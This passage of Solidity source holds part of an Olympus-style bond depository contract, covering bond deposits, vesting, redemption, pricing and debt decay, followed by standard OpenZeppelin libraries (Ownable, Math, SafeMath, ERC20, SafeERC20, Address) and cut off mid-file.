* Info for incremental adjustments to control variable
*/
struct Adjust {
bool add;
uint rate;
uint target;
uint buffer;
uint lastBlock;
}
Adjust public adjustment;
/**
* @notice set control variable adjustment
* @param _addition bool
* @param _increment uint
* @param _target uint
* @param _buffer uint
*/
function setAdjustment (
bool _addition,
uint _increment,
uint _target,
uint _buffer
) external onlyManager() {
require( _increment <= terms.controlVariable.mul( 25 ).div( 1000 ), "Increment too large" );
adjustment = Adjust({
add: _addition,
rate: _increment,
target: _target,
buffer: _buffer,
lastBlock: block.number
});
}
/**
* Bond holder information
*/
struct Bond {
uint payout; // OHM remaining to be paid
uint vesting; // Blocks left to vest
uint lastBlock; // Last interaction
uint pricePaid; // In DAI, for front end viewing
}
mapping( address => Bond ) public bondInfo; // Stores bond information for depositor
/**
* @notice deposit bond
* @param _amount uint
* @param _maxPrice uint
* @param _depositor address
* @return uint
*/
function deposit(
uint _amount,
uint _maxPrice,
address _depositor
) external returns ( uint ) {
require( _depositor != address(0), "Invalid address" );
decayDebt();
require( totalDebt <= terms.maxDebt, "Max capacity reached" );
uint priceInUSD = bondPriceInUSD(); // Stored in bond info
uint nativePrice = _bondPrice();
require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection
uint value = ITreasury( treasury ).valueOf( principle, _amount );
uint payout = payoutFor( value ); // payout to bonder is computed
require( payout >= 10000000, "Bond too small" ); // must be > 0.01 OHM ( underflow protection )
require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage
// profits are calculated
uint fee = payout.mul( terms.fee ).div( 10000 );
uint profit = value.sub( payout ).sub( fee );
/**
principle is transferred in
approved and
deposited into the treasury
returning (_amount - profit) OHM
*/
IERC20( principle ).safeTransferFrom( msg.sender, address(this), _amount );
IERC20( principle ).approve( address( treasury ), _amount );
ITreasury( treasury ).deposit( _amount, principle, profit );
if ( fee != 0 ) { // fee is transferred to dao
IERC20( OHM ).safeTransfer( DAO, fee );
}
// total debt is increased
totalDebt = totalDebt.add( value );
// depositor info is stored
bondInfo[ _depositor ] = Bond({
payout: bondInfo[ _depositor ].payout.add( payout ),
vesting: terms.vestingTerm,
lastBlock: block.number,
pricePaid: priceInUSD
});
// indexed events are emitted
emit BondCreated( _amount, payout, block.number.add( terms.vestingTerm ), priceInUSD );
emit BondPriceChanged( bondPriceInUSD(), _bondPrice(), debtRatio() );
adjust(); // control variable is adjusted
return payout;
}
/**
* @notice makes incremental adjustment to control variable
*/
function adjust() internal {
uint blockCanAdjust = adjustment.lastBlock.add( adjustment.buffer );
if( adjustment.rate != 0 && block.number >= blockCanAdjust ) {
uint initial = terms.controlVariable;
if ( adjustment.add ) {
terms.controlVariable = terms.controlVariable.add( adjustment.rate );
if ( terms.controlVariable >= adjustment.target ) {
adjustment.rate = 0;
}
} else {
terms.controlVariable = terms.controlVariable.sub( adjustment.rate );
if ( terms.controlVariable <= adjustment.target ) {
adjustment.rate = 0;
}
}
adjustment.lastBlock = block.number;
emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add );
}
}
/**
* @notice redeem all unvested bonds
* @param _stake bool
* @return uint
*/
function redeem( bool _stake ) external returns ( uint ) {
Bond memory info = bondInfo[ msg.sender ];
uint percentVested = percentVestedFor( msg.sender ); // (blocks since last interaction / vesting term remaining)
if ( percentVested >= 10000 ) { // if fully vested
delete bondInfo[msg.sender]; // delete user info
emit BondRedeemed( info.payout, 0 ); // emit bond data
return stakeOrSend( _stake, info.payout ); // pay user everything due
} else { // if unfinished
// calculate payout vested
uint payout = info.payout.mul( percentVested ).div( 10000 );
// store updated deposit info
bondInfo[ msg.sender ] = Bond({
payout: info.payout.sub( payout ),
vesting: info.vesting.sub( block.number.sub( info.lastBlock ) ),
lastBlock: block.number,
pricePaid: info.pricePaid
});
emit BondRedeemed( payout, bondInfo[ msg.sender ].payout );
return stakeOrSend( _stake, payout );
}
}
/**
* @notice allow user to stake payout automatically
* @param _stake bool
* @param _amount uint
* @return uint
*/
function stakeOrSend( bool _stake, uint _amount ) internal returns ( uint ) {
if ( !_stake ) { // if user does not want to stake
IERC20( OHM ).transfer( msg.sender, _amount ); // send payout
} else { // if user wants to stake
if ( useHelper ) { // use if staking warmup is 0
IERC20( OHM ).approve( stakingHelper, _amount );
IStakingHelper( stakingHelper ).stake( _amount, msg.sender );
} else {
IERC20( OHM ).approve( staking, _amount );
IStaking( staking ).stake( _amount, msg.sender );
}
}
return _amount;
}
/**
* @notice determine maximum bond size
* @return uint
*/
function maxPayout() public view returns ( uint ) {
return IERC20( OHM ).totalSupply().mul( terms.maxPayout ).div( 100000 );
}
/**
* @notice calculate interest due for new bond
* @param _value uint
* @return uint
*/
function payoutFor( uint _value ) public view returns ( uint ) {
return FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e16 );
}
/**
* @notice calculate current bond premium
* @return price_ uint
*/
function bondPrice() public view returns ( uint price_ ) {
price_ = terms.controlVariable.mul( debtRatio() ).add( 1000000000 ).div( 1e7 );
if ( price_ < terms.minimumPrice ) {
price_ = terms.minimumPrice;
}
}
/**
* @notice calculate current bond price and remove floor if above
* @return price_ uint
*/
function _bondPrice() internal returns ( uint price_ ) {
price_ = terms.controlVariable.mul( debtRatio() ).add( 1000000000 ).div( 1e7 );
if ( price_ < terms.minimumPrice ) {
price_ = terms.minimumPrice;
} else if ( terms.minimumPrice != 0 ) {
terms.minimumPrice = 0;
}
}
/**
* @notice converts bond price to DAI value
* @return price_ uint
*/
function bondPriceInUSD() public view returns ( uint price_ ) {
if( isLiquidityBond ) {
price_ = bondPrice().mul( IBondCalculator( bondCalculator ).markdown( principle ) ).div( 100 );
} else {
price_ = bondPrice().mul( 10 ** IERC20( principle ).decimals() ).div( 100 );
}
}
/**
* @notice calculate current ratio of debt to OHM supply
* @return debtRatio_ uint
*/
function debtRatio() public view returns ( uint debtRatio_ ) {
uint supply = IERC20( OHM ).totalSupply();
debtRatio_ = FixedPoint.fraction(
currentDebt().mul( 1e9 ),
supply
).decode112with18().div( 1e18 );
}
/**
* @notice calculate debt factoring in decay
* @return uint
*/
function currentDebt() public view returns ( uint ) {
return totalDebt.sub( debtDecay() );
}
/**
* @notice decay debt
*/
function decayDebt() internal {
totalDebt = totalDebt.sub( debtDecay() );
lastDecay = block.number;
}
/**
* @notice amount to decay total debt by
* @return decay_ uint
*/
function debtDecay() public view returns ( uint decay_ ) {
uint blocksSinceLast = block.number.sub( lastDecay );
decay_ = totalDebt.mul( blocksSinceLast ).div( terms.vestingTerm );
if ( decay_ > totalDebt ) {
decay_ = totalDebt;
}
}
/**
* @notice calculate how far into vesting a depositor is
* @param _depositor address
* @return percentVested_ uint
*/
function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) {
Bond memory bond = bondInfo[ _depositor ];
uint blocksSinceLast = block.number.sub( bond.lastBlock );
uint vesting = bond.vesting;
if ( vesting > 0 ) {
percentVested_ = blocksSinceLast.mul( 10000 ).div( vesting );
} else {
percentVested_ = 0;
}
}
/**
* @notice calculate amount of OHM available for claim by depositor
* @param _depositor address
* @return pendingPayout_ uint
*/
function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) {
uint percentVested = percentVestedFor( _depositor );
uint payout = bondInfo[ _depositor ].payout;
if ( percentVested >= 10000 ) {
pendingPayout_ = payout;
} else {
pendingPayout_ = payout.mul( percentVested ).div( 10000 );
}
}
/**
* @notice allow anyone to send lost tokens (excluding principle or OHM) to the DAO
* @return bool
*/
function recoverLostToken( address _token ) external returns ( bool ) {
require( _token != OHM );
require( _token != principle );
IERC20( _token ).safeTransfer( DAO, IERC20( _token ).balanceOf( address(this) ) );
return true;
}
/**
* @notice set contract for auto stake
* @param _staking address
* @param _helper bool
*/
function setStaking( address _staking, bool _helper ) external onlyManager() {
require( _staking != address(0) );
if ( _helper ) {
useHelper = true;
stakingHelper = _staking;
} else {
useHelper = false;
staking = _staking;
}
}
}
|
True
|
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] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
